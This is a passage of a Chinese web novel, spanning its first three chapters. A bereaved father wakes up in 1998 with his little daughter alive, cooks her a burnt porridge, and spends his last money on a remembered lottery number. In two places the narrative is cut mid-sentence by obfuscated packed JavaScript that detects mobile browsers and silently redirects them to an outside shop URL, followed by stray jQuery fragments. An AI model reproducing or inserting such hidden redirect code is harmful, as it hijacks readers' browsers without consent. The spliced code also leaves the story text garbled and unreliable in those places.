《重启人生从带娃开始称霸》
第一章:终局与开端
1998年的夏风还没来得及吹进回忆的褶皱,
2023年的深秋就用一场冷雨,把林凡的世界浇得透凉。
办公室里只剩他一个人,暖气早停了,冰冷的空气裹着窗外的霓虹钻进来——
那霓虹是浸在墨水里的碎钻,亮得晃眼,却连指尖的温度都焐不热。
电脑屏幕泛着幽幽的蓝光,在他布满红血丝的眼底投下片冷影,旁边压着张照片:
十岁的笑笑穿着粉色公主裙,举着奶油快化了的生日蛋糕,嘴角的梨涡里像盛着刚晒过太阳的糖。
照片前的小香炉里,三支香燃得只剩半截,灰白的香灰簌簌往下掉,落在玻璃相框上,积成薄薄一层,像没化的雪。
今天是笑笑的生日。
也是她的忌日。
三年前的车祸像把生锈的刀,不仅剜走了女儿的呼吸,还劈碎了他的人生。妻子苏晚晴熬不过那份日夜啃人的悲痛,留下签了字的离婚协议,背着包走了,没回头。
剩下的只有一沓沓盖着红章的债务单,和一个钻进骨缝里的“如果”——如果那天他没赶项目加班,如果他能准时站在校门口的老槐树下,如果他能早到一分钟,把笑笑拉到马路这边……
这个“如果”是条毒蛇,白天缠着他的喉咙,让他喘不过气;夜里钻进梦里,把“没接住女儿”的画面嚼了又嚼。此刻,极度的疲惫与悲痛像涨潮的海水,从脚底漫到胸口,猛地攥住他的心脏。
撕裂般的疼炸开时,他看见电脑屏幕的蓝光一点点暗下去,眼前的霓虹、照片、香炉都成了模糊的光斑,最后重重摔在冰冷的办公桌上,世界“咚”地沉进一片死寂的黑。
意识是没有重量的。
林凡觉得自己像飘在墨色的深海里,听不见呼吸,摸不到边际,连时间都成了软塌塌的棉花,捏不出形状。
不知道飘了多久,一阵尖锐的耳鸣突然刺进来,像细针挑破了死寂。
紧接着,一个小小的、带着哭腔的声音钻进来,起初是模糊的“爸爸”,后来越来越清晰,**絮般的颤音勾着他的神经,一下下挠在心上:
“爸爸……醒醒……呜呜……爸爸你别睡……”
这声音……是笑笑?
是死后的幻觉吗?还是他终于追上了女儿的脚步?
林凡想睁眼,眼皮却重得像焊了铅,连抬一下都费劲。
就在这时,一股熟悉的气味撞进鼻腔——
劣质白酒的辛辣气像针似的扎进来,混着老墙缝里渗出来的潮霉味,偏偏又绕着一缕土甜的清冽——那是苏晚晴总用的皂角洗衣皂,泡在水里搓揉时,会散出像春天刚冒芽的槐树叶似的香。
这是……机械厂老家属楼的味道!是他二十多岁时,和苏晚晴刚结婚那阵住的地方!
巨大的惊骇像电流窜过全身,他猛地攒起力气,硬生生掀开了那层沉重的“铅”。
眼睛睁开的瞬间,昏黄的光晃得他眯了眯——糊着旧报纸的屋顶,报纸边角卷着翘起来,印着“粮油调价”的标题都褪了色;一盏落满灰尘的钨丝灯泡悬在中间,被窗外的风吹得轻轻晃,在墙上投下摇曳的光斑,像跳动的萤火虫。
他躺在硬邦邦的木板床上,身上盖着条蓝色棉被,被面洗得发白,边角磨破了**,却裹着皂角的清香,暖烘烘地贴在皮肤上。
这不是他的办公室。不是2023年。
林凡“腾”地坐起来,心脏在胸腔里疯狂擂动,像要撞破肋骨跳出来,连耳膜都跟着嗡嗡响。
他环顾四周:斑驳的石灰墙上还贴着张旧年画,画里的胖娃娃抱着鲤鱼,颜料掉得只剩个模糊的轮廓;老式木质衣柜的门掉了块漆,露出里面浅黄的木头原色,门轴“吱呀”响着,像老槐树在叹气;书桌上摆着个掉瓷的搪瓷杯,杯身上“劳动光荣”的字样磨得快看不见了;窗台上几盆吊兰蔫头耷脑的,叶子上沾着点灰尘,连最嫩的尖儿都垂着。
每一个细节都像钥匙,“咔嗒”一声撬开了记忆的闸门。
这是他和苏晚晴的婚房。是笑笑出生后,最初的家。
“爸爸……你醒了?”
哭腔又响起来,带着怕怕的颤音,小嗓子里还堵着哭嗝,
“爸爸你不要死……笑笑会乖的……”
林凡猛地转头,目光砸向床尾的地面。
一个小小的身影蜷缩在那里,蹲在冰冷的水泥地上。旧汗衫的袖口卷了三层还盖过手背,领口洗得松松垮垮,露出细细的、泛着青的脖颈;枯黄的头发里沾着点灰尘,梳得歪歪扭扭,像团没理顺的棉线;哭的时候肩膀缩成小小的一团,像被雨打蔫的蒲公英,风一吹就会倒。
直到那孩子慢慢抬头——
泪汪汪的眼睛像蒙着雾的黑葡萄,鼻尖红得像颗熟樱桃,小脸上还挂着没擦干的泪珠,连睫毛都湿成了一缕缕,沾着细细的灰尘。
轰!
林凡的大脑像被惊雷劈中,所有的思绪瞬间炸成空白,连耳朵里的嗡嗡声都停了。
是笑笑。
是活生生的、只有三四岁的笑笑。
不是相框里定格的笑脸,不是墓碑上冰冷的名字,
是能哭、能叫“爸爸”、能让他摸到温度的笑笑!
巨大的情感洪流瞬间冲垮了他的理智。他连滚带爬地翻下床,腿软得像踩在棉花上,膝盖“咚”地砸在水泥地上,钝痛像针似的扎进来,他却连缩都没缩。
他扑到女儿面前,双腿一软跪倒在地,双手抖得像筛糠,伸出去又缩回来——指尖刚碰到她温热的脸颊,就像触到了烧红的炭火,又惊又怕,怕这一碰,眼前的一切就碎了。
“笑……笑笑?”
他的声音干得像砂纸摩擦,每个字都裹着难以置信的颤抖,
“真的……是你吗?”
小女孩被他激烈的反应吓了一跳,肩膀瑟缩了一下,怯生生地看着他,大眼睛里又蓄满了泪,小嘴一瘪,带着哭腔:
“爸爸……你别吓笑笑……你不要再睡了好不好?”
“笑笑……我的笑笑……”
确认不是梦的瞬间,前世的画面猛地撞进来——笑笑倒在血泊里的苍白小脸,冰冷的小手,还有他当时抱着女儿,撕心裂肺喊到嗓子出血的哭喊。两世的画面在眼前重叠,刻骨铭心的悔恨、失而复得的狂喜、三年来日夜啃噬他的痛苦,像火山一样轰然爆发!
他再也忍不住,一把将女儿搂进怀里。小小的身体软乎乎的,带着点奶味的温热,贴着他的胸口时,连心跳都变得真实起来。
他用尽全力抱着,像要把她揉进自己的骨血里,再也不分开。
滚烫的泪水砸在笑笑的旧汗衫上,洇出小小的湿痕,他失声痛哭,哭得像个迷路了十年的孩子,终于摸到了家的门。
“对不起……笑笑……对不起……”
他语无伦次,一遍遍地重复,声音哽咽得几乎断气,
“是爸爸不好……是爸爸错了……以前让你受了那么多委屈……”
怀里的笑笑起初僵着,小身子还在微微发抖。可孩子的心灵最懂真心,她慢慢感受到爸爸拥抱里的疼、爱和庆幸,小手笨拙地抬起来,一下一下拍着林凡的后背,声音软软的,还带着点哭腔:
“爸爸不哭……笑笑乖……笑笑给你拍拍……就不疼了……”
这稚嫩的安慰像一剂良药,缓缓淌进林凡崩溃的灵魂里。
他的抽泣渐渐平复,汹涌的情绪退去后,只剩下无比清晰的决心——
上天给了他一次奇迹般的机会,让他回到了悲剧发生之前,这一次,他绝不再让任何遗憾发生!绝不让笑笑再受一点苦!
他稍微松开点怀抱,双手紧紧握着女儿瘦小的肩膀,通红的眼睛贪婪地看着她的脸:脸色是营养不良的蜡黄,嘴角还沾着点干涸的米粥渍,头发枯黄稀疏,眼神里带着点这个年纪不该有的怯懦,像只受惊的小兔子。
前世的他,下岗后就像个废人,整天怨天尤人,抱着酒瓶度日,把家里的积蓄喝光,把苏晚晴的眼泪哭干,连笑笑拉着他的衣角,说“想吃块水果糖”都舍不得买。
混蛋!前世的自己真是个彻头彻尾的混蛋!
一股熊熊烈火在他心里烧起来,烧尽了所有的迷茫和软弱。他抹掉脸上的泪痕,深吸一口气,努力挤出一个温柔又坚定的笑容,声音虽然还哑着,却带着不容置疑的力量:
“爸爸没事,”他轻轻刮了下笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607467|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑的小鼻子,指尖的触感软得让人心疼,
“爸爸就是做了个好长好可怕的噩梦,现在醒了,看到笑笑,就什么都好了。饿不饿?爸爸去给你做好吃的,好不好?”
他站起身,环顾这个家——墙皮斑驳,家具老旧,连件像样的东西都没有,可此刻在他眼里,却盛满了无限的希望。
可现实的冰冷很快就浇了下来。
他拉开抽屉,“吱呀”的响声在安静的屋里格外刺耳。手指在抽屉底抠了半天,只摸出几张卷边的废纸,指甲缝里蹭了层灰;衣柜角落积着厚厚的尘,连件干净衣服都找不到;昨天穿的裤子口袋里,只有半根皱巴巴的烟,烟丝都掉了出来。
最后,他在书桌的搪瓷杯底下摸到了东西——三张软塌塌的一元纸币,边缘磨得发毛,还有几张颜色褪成浅黄的地方粮票,早就在市面上不流通了。
总共,三块七毛钱。
他打开那个用了几十年的老旧矮柜——家里连冰箱都没有,夏天的剩菜只能靠凉水镇着。柜子里只剩小半碗干硬的剩粥,结了层薄薄的皮,用筷子戳一下,都能听到“咔嗒”声;
旁边的碟子里躺着半碟咸菜,颜色发暗,上面还沾着点霉点。米缸掀开时,能看见缸底铺着层薄薄的米,连缸底的花纹都露出来了;油瓶倒过来,也只滴下两滴油星,落在碗里,溅不起一点涟漪。
生存的压力像块冷硬的石头,重重压在他心上。
他猛地想起——现在是1998年的夏天,他刚从县机械厂下岗不到两个月。前世的这个时候,他正泡在酒里,把家里值钱的收音机、手表都变卖了换酒喝,才留下这点钱,还有床底下那瓶没喝完的劣质白酒。
林凡捏着手里的三块七,指节都捏白了,眉头皱得紧紧的。
第一步,他必须立刻弄到钱,不用多,至少能让笑笑吃上一顿有肉的饭,穿上件合身的新衣服,不用再穿洗得变形的旧汗衫。
他强迫自己冷静下来,闭上眼睛,拼命在记忆里打捞——1998年的夏天,这个小县城里,有什么能让他快速、安全地赚到第一桶金?
股票?他连K线图都看不懂,更没本钱。走私?违法的事绝不能碰,他不能再给笑笑留下任何风险。
忽然,一个片段猛地撞进脑海!
他记得清清楚楚!前世下岗后最颓废的这段时间里,大概是现在的第三天,本地福利彩票会开出一注二等奖,奖金有整整五万块!
之所以记得这么牢,是因为中奖号码的后四位是“0518”——那是笑笑的生日!
前世的他酒醒后,在菜市场的墙报上看到中奖新闻,还对着空酒瓶破口大骂,说自己连女儿的生日都忘了,要是当时记起来,买一注,说不定就能中了!
这个记忆像道闪电,瞬间照亮了他眼前的迷雾!他所有的钱加起来,刚好够买一注彩票!
可焦虑立刻跟着来了——今天到底是几号?
他昏睡了多久?距离开奖还有几天?
最重要的是,那组号码的前几位到底是什么?
他掐着掌心拼命想,脑壳里像塞了团乱麻,前几位数字模糊得像蒙了雾,
只有“0518”这四个数字,清晰得像刻在脑子里。
他急得汗都渗出来了,后背的衣服贴在身上,凉得难受。
目光像探照灯一样在屋里扫,最后死死盯在书桌角落——那里压着张揉得皱巴巴的本地晚报,边角都卷了,是用来垫桌脚的。
他一个箭步冲过去,一把抽出报纸,手指抖得厉害,费了好大劲才把报纸展平。头版的日期像钉子一样扎进他眼里,烫得他心口发紧:
【1998年7月15日,星期三】
林凡的呼吸骤然停了,连血液都像冻住了。
彩票开奖日是……
他猛地抬头,看向墙上的日历。
那本日历薄薄的,纸页都泛黄了,撕过的页角翘着,15日的数字旁边,还画了个歪歪扭扭的“酒”字——是前世的自己记的,那天要去打酒。
他的心脏几乎要跳到嗓子眼,目光死死钉在日历上,连呼吸都忘了,只听见自己“咚咚”的心跳声,在安静的屋里格外响。
第二章:笨拙的第一步
林凡的目光像生了根似的,死死钉在墙上的日历——
1998年7月15日,星期三。
心脏猛地被一只无形的手攥紧,连呼吸都顿了半拍,又“咚”地一下炸开,狂喜和焦虑搅成一团,顺着血管往四肢窜。
明天!就是7月16日!
本地福利彩票开奖的日子!
那组后四位烙着“0518”的二等奖号码,像座闪着暖光的金山,明明就悬在眼前,却又怕一伸手,就碎成指尖的泡沫。
他用力咬了咬下唇,铁锈味混着口腔的干涩漫上来,强迫自己深吸一口气——胸腔里的心跳还是快得像擂鼓,震得耳膜嗡嗡响。
不能慌,每一步都得踩稳。现在最要紧的不是那五万块奖金,是手里攥着的三块七毛钱,是怎么让笑笑安安稳稳熬过今天。
转过身时,脸上的急色早被他揉成了温和的笑。
笑笑还站在原地,小手紧紧攥着衣角,指节都泛了白,大眼睛里剩着点没散的怯意,像只刚从雨里捞出来、还没缓过劲的小兔子。
“笑笑不怕,爸爸没事了。”
林凡放轻脚步走过去,慢慢蹲下身子,尽量让视线和女儿齐平,声音软得像晒过太阳的棉花,
“爸爸刚才就是睡迷糊了,跟做了场长梦似的。肚子是不是早咕咕叫了?爸爸给你弄点吃的,好不好?”
笑笑的小手下意识往肚子上摸了摸,又飞快地缩回来,指尖还沾着点衣角的线头。
她轻轻点了点头,长长的睫毛垂下来,遮住了眼底那点藏不住的期待。林凡的心疼得像被细针扎了下——这孩子,是饿了多久,连说“饿”都不敢直白开口。
他牵着笑笑的手起身,指尖触到一片冰凉,赶紧把那只小手攥紧了些,用掌心的温度裹住。所谓的“厨房”就挤在墙角,一个掉了漆的蜂窝煤炉子歪歪扭扭立着,炉口还沾着上次没刮干净的煤渣;
旁边的旧纱柜纱门松垮得挂不住,风一吹就“吱呀”响;水槽边缘的瓷掉了一大块,露出里面发黑的铁,像缺了块牙的嘴。
林凡先拿起炉子上的铝壶晃了晃,“哐当哐当”的空响在安静的屋里炸开,格外清楚。
“笑笑乖,在这儿等爸爸一会儿,爸爸去接壶水,马上就回来。”
他把水壶挎在胳膊上,壶底的凉意在皮肤上硌出印子,快步走出房门。
筒子楼的公共水房在走廊尽头,清晨的水汽混着肥皂的清苦味飘过来,裹着大妈们聊天的碎话。
几个早起的婶子围着水龙头,有的在搓衣服,泡沫顺着指缝往下淌;有的在择菜,烂菜叶丢了一地。
看见林凡过来,原本叽叽喳喳的声音顿了顿,目光“唰”地全聚过来——有同情的,像看个可怜人;有漠然的,眼皮都没抬一下;还有丝藏不住的鄙夷,像针似的扎在他背上。他下岗后抱着酒瓶骂街、把家里摔得乱七八糟的样子,早成了这栋楼茶余饭后的“谈资”。
林凡头都没抬,指尖拧开水龙头,水流“哗哗”地冲进铝壶,溅起的水珠打湿了裤脚,凉得透骨,他也没在意。现在他没心思管别人怎么看,笑笑还在屋里等着喝热水呢。
接满水往回走时,正好撞见二楼的王大爷拎着菜篮子上来。篮子里躺着几根蔫了的黄瓜,裹着层土。大爷叹了口气,粗糙的手掌拍了拍他的肩膀,力道不轻不重:
“凡子啊,别总跟酒瓶子较劲了,孩子还小,不能没人管。”林凡的脚步顿了顿,喉结滚了滚,低声应了句“知道了,大爷”,就抱着水壶快步走了。
推开门的瞬间,他一眼就看见笑笑——还是站在原地,小手紧紧攥着桌腿,指节都泛了青,大眼睛直勾勾地盯着门口,像株盼着阳光的小苗。看到他进来,小肩膀才悄悄松了些,连呼吸都轻了。
“怎么不坐着等?”
林凡把水壶放在炉子上,伸手摸了摸女儿的头,指尖触到细软的头发,还有点扎手。鼻子突然就酸了——这孩子,是怕他走了就不回来吧?
他蹲下来点炉子,手指捏着火柴,划了三次才擦出火星。火苗“噌”地窜起来,又很快弱下去,他赶紧把火柴凑到煤球孔上。
蜂窝煤的火星子簌簌往下掉,烫得他指尖一缩,疼得倒吸口凉气,脑子却清醒了些。身体里还留着以前点炉子的记忆,可手早就生了,连捏火柴的力道都控不好。
等炉子慢慢烧旺,蓝盈盈的火苗舔着壶底,他才转身去翻“食材”。
纱柜里空荡荡的,隔板上积着层薄灰。翻了半天,才在最里面的角落摸到小半碗剩饭,硬得能硌牙,用手指戳一下,都能听见“咔嗒”声;
还有小半袋发黄的面粉,袋口开了个口子,边缘沾着点灰,像是放了很久。
他盯着这两样东西,眉头拧成了疙瘩——前世家务都是苏晚晴打理,他最多煮个泡面,连粥都没正经熬过一次。
水壶很快就“呜呜”地冒起了热气,壶盖被蒸汽顶得“哒哒”响。林凡舀了半碗热水,又兑了点凉水,指尖探进去试了试温度,不烫不凉,才端到笑笑面前:
“先喝点温水暖暖肚子,好不好?”
笑笑两只小手捧着搪瓷杯,杯沿还缺了个小口。她小口小口地喝着,温热的水汽飘在她脸上,把那点蜡黄的脸色熏出了丝血色。
林凡看着她,心里更急了,转身盯着那碗剩饭,琢磨着怎么弄熟。
最后还是决定做面糊粥——听起来最简单,不用费什么劲。他把剩饭倒进锅里,加了两碗水,把锅坐在炉子上。
等水“咕嘟咕嘟”冒泡,饭粒慢慢散开时,他舀了三勺面粉,放在碗里加凉水调稀。
可手一抖,面糊“哗啦”一声全倒进了锅,瞬间结成了大大小小的疙瘩,像没揉开的棉絮。
“坏了!”林凡慌忙拿起锅铲,铁铲刮着锅底,发出“刺啦刺啦”的刺耳声,听得他自己都皱紧了眉。好不容易把大疙瘩搅散些,一股淡淡的焦糊味又飘了过来——锅底粘住了!
他慌得手忙脚乱,赶紧把炉火拧小,额头上沁出一层细汗,顺着太阳穴往下淌。又往锅里加了点热水,搅了半天,才勉强把粥救回来。
最后端到笑笑面前的,是一碗半稀不稠的东西,飘着点焦糊味,碗底还沉着没搅开的小面疙瘩,连点糖或盐都找不到,只能吃个“原味”。
林凡看着这碗算不上“粥”的“杰作”,喉咙紧得发疼。
“笑笑,对不起,爸爸……爸爸没做好。”他的声音低了些,带着点懊恼,“你先凑合吃一点,等晚上,爸爸一定给你买肉包子,好不好?”
他舀起一勺粥,放在嘴边吹了又吹,直到指尖碰着勺底不烫了,才递到笑笑嘴边,眼睛都不敢眨,死死盯着女儿的反应,连呼吸都放轻了。
笑笑先看了看碗里的粥,又抬头看他——爸爸的眉头皱得紧紧的,眼神里满是紧张,像个怕被老师批评的学生。
她迟疑了一下,还是慢慢张开小嘴,把粥含了进去。
小眉头轻轻皱了一下,显然味道不怎么样,可她没吐出来,慢慢咽下去,又抬起头,小声说:
“爸爸,能吃的。”
林凡的眼眶“唰”地就热了,眼泪差点掉下来。
这么懂事的孩子,前世他怎么就瞎了眼,天天抱着酒瓶子浑浑噩噩,连她想吃块糖都舍不得?
他忍着发酸的鼻子,一勺一勺地喂,笑笑也不挑剔,乖乖地吃了小半碗,最后还伸出舌头,轻轻舔了舔嘴角沾着的粥粒,小声说“饱了”。
刚把碗放在桌上,门口就传来个尖细的声音,裹着点八卦的试探,像根细针似的扎进来:
“哎呦,凡子今天起这么早?还自己开火做饭了?这太阳是打西边出来了吧?”
林凡抬头,就看见张婶探着半个身子往屋里瞧,脑袋转来转去,目光在他和笑笑之间打了个转,最后落在那碗卖相凄惨的粥上,嘴角轻轻撇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607468|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了撇,那点嫌弃藏都藏不住。
张婶是这层楼有名的“包打听”,心眼不算坏,就是嘴碎,爱凑个热闹看个笑话,谁家的事都能被她传得整栋楼知道。
换作以前的林凡,要么拎着酒瓶子骂回去,要么臊得满脸通红,缩进里屋不敢出来。可现在的他,只是慢慢站起身,甚至还扯出了个淡笑,语气不卑不亢:
“张婶早。以前是我不懂事,光顾着自己难受,没顾上孩子。以后得好好过日子,总不能让孩子跟着饿肚子。”
他的声音里没了以前的颓废,多了点沉下来的稳,倒让准备看笑话的张婶愣了一下,原本到了嘴边的打趣话,卡在喉咙里半天没吐出来。
她狐疑地打量着林凡——头发理得还算整齐,衣服虽然旧,却洗得干干净净,连说话的眼神都变了,可到底哪儿不一样了,她又说不上来。
“啊……是,是这么个理儿,”
张婶讪讪地搓了搓手,眼神还往那碗粥上瞟,又摇了摇头,
“孩子要紧,确实得顾着孩子……”
说完就赶紧缩回身子,脚步匆匆地走了,估计是去楼下的小卖部,跟其他大妈说“林凡今天没喝酒还做饭了,就是做糊了”的新鲜事。
林凡关上门,没把这点小事放在心上。喂饱了笑笑(哪怕只是碗糊粥),下一步就是最关键的——买彩票。
他从抽屉里摸出那三张一元纸币,指尖小心翼翼地把皱巴巴的边角一点点抚平,叠得方方正正,放进裤子内侧的口袋,又把那七毛钱硬币塞进另一个口袋,硬币“叮当”响了声,在安静的屋里格外清晰。这薄薄的几张纸、几枚硬币,就是他和笑笑今天所有的依靠了。
“笑笑,爸爸带你出去转转,好不好?”
林凡拿起条洗得发白的毛巾,沾了点温水,仔细擦了擦笑笑的脸,连眼角的细纹都擦到了,又握着她的小手,把指甲缝里的灰一点点抠干净。
听到“出去”两个字,笑笑的大眼睛“唰”地亮了,像落了颗星星在里面,赶紧用力点了点头,小手紧紧抓住他的衣角,指尖都攥得发白。
林凡弯腰抱起女儿,胳膊刚一沉,心里就揪了下——这孩子也太轻了,轻飘飘的像片羽毛,抱在怀里几乎没什么分量。
他赶紧把笑笑搂紧了些,让她的小脑袋靠在自己肩膀上,感受着怀里的温热,眼神变得格外坚定。
推开那扇吱呀作响的木门,清晨的阳光有点刺眼,洒在走廊斑驳的墙皮上,把空气里的煤烟味都晒得暖了些。
林凡深吸了口气——九十年代夏天的早晨,混着蜂窝煤的烟火气、隔壁煎鸡蛋的油香,还有远处传来的自行车铃声“叮铃铃”地飘过来,满满都是活着的味道。
他抱着笑笑,一步一步走下楼梯。水泥楼梯的台阶缺了角,边缘磨得光滑,每踩一步都有点晃,可他走得很稳,像踩在新人生的起点上,每一步都透着踏实。
筒子楼外的街很热闹。
自行车一辆接一辆地窜过去,铃声“叮铃铃”响成一片;卖豆浆的小贩推着铁皮车,嗓子喊得洪亮:“热豆浆——甜口咸口都有,五毛钱一碗!”;
早点铺的蒸笼冒着白气,肉包子的香味飘得老远,勾得人肚子直叫。笑笑趴在他肩膀上,小脑袋转来转去,眼睛里满是好奇,连嘴角都悄悄翘了点。
林凡站在街边,目光扫过对面的巷子——他记得很清楚,福利彩票销售点就在巷子里的杂货铺旁边,门口挂着个红布招牌,写着“福利彩票,好运相伴”。
他的手摸了摸内侧口袋里的三块钱,指尖能感受到纸币的纹路,又紧了紧怀里的笑笑,心里又沉又暖。
沉的是眼下攥着的窘迫,暖的是怀里揣着的希望。他抬头望了望天上的太阳,暖光落在脸上,连心里的角落都亮了。
他知道,从迈出这一步开始,他和笑笑的人生,再也不会像前世那样,掉进无边的黑暗里了。
第三章:孤注一掷的希望
林凡抱着笑笑踏出筒子楼时,九十年代的县城清晨正裹着粗粝的烟火气撞进怀里。
柏油路面坑坑洼洼,补着几块深色沥青补丁,被刚爬过屋顶的太阳晒得泛着暖光,鞋底踩上去能沾到隔夜的灰尘,还带着点露水的潮气。
电线杆上贴满了“专治脚气”“疏通管道”的小广告,边角被风吹得卷起来,像耷拉着的破布。
“叮铃铃”的自行车铃声此起彼伏,穿蓝灰工装的男人骑着二八大杠,车把上挂着铝饭盒,盒盖没扣紧,偶尔晃出点米汤的白印,链条“咔嗒咔嗒”响得像在数着时间;
女人坐在后座,怀里抱着印着“劳动光荣”的蓝布包,头发用黑色发网拢着,发梢沾着点棉絮,催着
“快点,再晚车间要锁门了”。
路边的小吃摊支着锈迹斑斑的铁皮棚,油条在滚油里“滋滋”冒泡,金黄的油花溅到地上,瞬间凝成小油点;
炸糕的焦糖甜香混着油条的油腥气飘过来,又裹着远处拖拉机“突突”的柴油味,粗粝里裹着活气,像刚蒸好的白面馒头,热乎又实在。
这一切都带着久违的暖意,像幅褪了色却浸着体温的老画。
林凡站在街边,恍惚了几秒——
2023年的高楼冷光、办公室的死寂、香炉里簌簌掉的香灰,好像真的只是场漫长的噩梦,眼前这喧闹的街景、嘈杂的人声、甚至空气里的油烟味,才是能抓得住的真实。
“爸爸……”
笑笑的小手突然攥紧他的衬衫领子,指节泛白,声音软得像浸了水的棉花,还带着点颤。
她很少在这个时辰出门,大眼睛像受惊的小鹿,怯生生地扫过路过的行人、晃眼的红招牌,小脑袋不自觉往他颈窝里埋了埋,温热的小脸贴着他的皮肤,连呼吸都轻得像羽毛。
女儿的体温让林凡猛地回神。
他深吸一口气,胸腔里的慌乱慢慢压下去,目光骤然锐利起来,像搜寻猎物的鹰隼,
扫过街边的店铺——杂货店的红招牌掉了漆,“便民百货”的“便”字缺了一点,露出底下的木头底色;
修鞋摊的铁砧上摆着半块橡皮,师傅正低头砸着鞋钉,“当当”的响声混在人声里;
裁缝铺里传出缝纫机“哒哒”的节奏,布料的碎末飘在门口,沾着点彩色线头;
巷口还有群老人围着下棋,落子声“啪”地响,吵吵嚷嚷的。
记忆像被潮水冲过的沙滩,好多细节都模糊了,
但那个写着“中国福利彩票”的绿色小窗口,他记得很清楚,就在机械厂职工上下班的必经之路上,挨着卖酱油的铺子。
他抱着笑笑慢慢走,阳光渐渐热起来,晒得后颈发暖,连衬衫都贴在了皮肤上,汗湿的地方凉丝丝的。
笑笑怕晒,把小脸贴在他的颈窝,温热的呼吸混着点奶味拂过,让他下意识攥紧了口袋里的三块钱——纸币被体温焐得发潮,边缘卷了**,却像块沉甸甸的石头,压着他和笑笑的希望。
走了大概五六分钟,在拐角杂货店的侧边,终于看见那抹熟悉的绿:窗口上方拉着红横幅,印着“奉献爱心,幸运降临”,字都褪成了浅粉,边角还撕了个小口;
玻璃上贴满了泛黄的开奖公告,边角卷着翘起来,还沾着点苍蝇屎,最底下压着张去年的旧报纸。
就是这里!
林凡的心脏猛地撞了下肋骨,疼得他倒吸口气,抱着笑笑的手臂不自觉收紧,连指节都泛了白。他快步走到窗口前,里面坐着位打毛线的阿姨,
五十多岁,老花镜滑在鼻尖,镜片上沾着点灰,手里的毛线针“哒哒”戳着,织的是条藏青色围巾,针脚歪歪扭扭的。
“同志,买彩票。”他的声音有点干,喉咙发紧,像卡了沙粒,说话时还带点颤。
阿姨抬头推了推眼镜,先瞥了他一眼——男人脸色发黄,眼下有淡淡的青黑,衬衫袖口磨破了边,露出里面的旧秋衣;
又扫过他怀里的笑笑,小姑娘头发枯黄,扎着歪歪扭扭的小辫,衣服洗得发白,领口都变形了,正怯生生地躲在男人怀里,小手抓着男人的衣角。
她眼神里露出点见怪不怪的淡漠,手里的毛线针没停,线团滚到桌边,也懒得捡,嘴里嘟囔着:
“机选还是自选?”
这年头想靠彩票翻身的穷小子多了,拖家带口来碰运气的,她见得不少,大多是空手而归。
“自选。”
林凡毫不犹豫,手伸进口袋,指尖攥住那三张被汗浸得发潮的纸币,
指腹能摸到“1990”字样的纹路。
深吸一口气时,胸腔里的心跳还在乱撞,像要蹦出来,
他拼命回忆那组号码——后四位“0518”像刻在脑子里,
是笑笑的生日,哪怕前世再浑,这个数字他也绝不会错。可前几位呢?
记忆里像蒙了层湿棉花,数字滑来滑去抓不住。
好像有个“3”?上次想的时候,
脑子里闪过个“8”?
中间是不是夹着个“0”?
额角的汗慢慢渗出来,顺着太阳穴往下淌,滴在衬衫领口,洇出个小湿点。
他盯着窗口玻璃上自己的影子——脸色蜡黄,眼神慌慌的,像个赌输了还想翻盘的赌徒。
如果记错一个数字,那五万块奖金、那能让笑笑吃饱穿暖的机会,就全没了。
这三块钱,是他和笑笑今天的全部家当,连顿热乎的肉包子都买不起。
“快点啊小伙子,后面还有人呢。”
阿姨不耐烦地催了句,其实窗口后连个人影都没有。
她把毛线针在指尖绕了圈,又戳了戳,织错了一针,烦躁地拆了重织,语气里的嫌弃藏都藏不住:
“磨磨蹭蹭的,想买就快点,不买别耽误**活。”
笑笑好像感觉到他的紧张,小身子在怀里轻轻颤了下,小手抓得更紧了,连呼吸都放轻了,生怕惹爸爸不高兴。
林凡咬牙——不能犹豫!
这是眼下唯一的机会,就算是赌,也得赌一把!
他凭着模糊的印象,把数字在脑子里凑了又凑,前世没中奖的懊悔像针似的扎着他,
终于定了下来:3、8、0、5、1、8。
念出来的瞬间,心里竟涌上股莫名的确信,像冥冥中女儿在帮他。
“号码是3、8、0、5、1、8。”
他一字一顿,声音发颤却清晰,把三张皱巴巴的纸币递进去。纸币沾着汗,贴在指尖,沉得像块铁,连手都酸了。
阿姨接过钱,随便扫了眼就塞进抽屉,手指在彩票机上飞快按了几下,指甲盖里还沾着点毛线头。
“咔哒”几声,一张薄薄的彩票从机器里吐出来,边缘还带着机器的余温,泛着点油墨味,像片刚从树上落的叶子。
她随手把彩票扔过来,像扔张废纸:
“晚上七点开奖,自己去街口公告栏看。祝你好运啊。”
语气平淡得像在说“今天天挺好”,显然不信这个穿得破破烂烂的年轻人能中什么奖。
林凡赶紧伸手接住,指尖捏着彩票,薄纸边缘硌得指腹发疼,却不敢松一点劲,生怕一松手就碎了。
他把彩票凑到眼前,眯着眼,一遍遍地核对数字——3、8、0、5、1、8,一个数字都没错!
悬着的心“咚”地落回肚子里,后背却已经被冷汗浸得发潮,连衬衫都贴在了皮肤上,凉得刺骨,像刚淋过冷水。
他把彩票对折,再对折,小心翼翼地塞进裤子内侧的口袋,又用手按了按,确认不会掉出来。那小小的一张纸,此刻比黄金还重,是他和笑笑的全部希望,是能让他们不用再饿肚子的光。
可希望刚落,现实的窘迫就像盆冷水,“哗啦”一声浇在头上。
他摸了摸另一个口袋,七枚钢镚儿“叮当”响,没一点欢快劲——买彩票花了三块,就剩这七毛钱了。
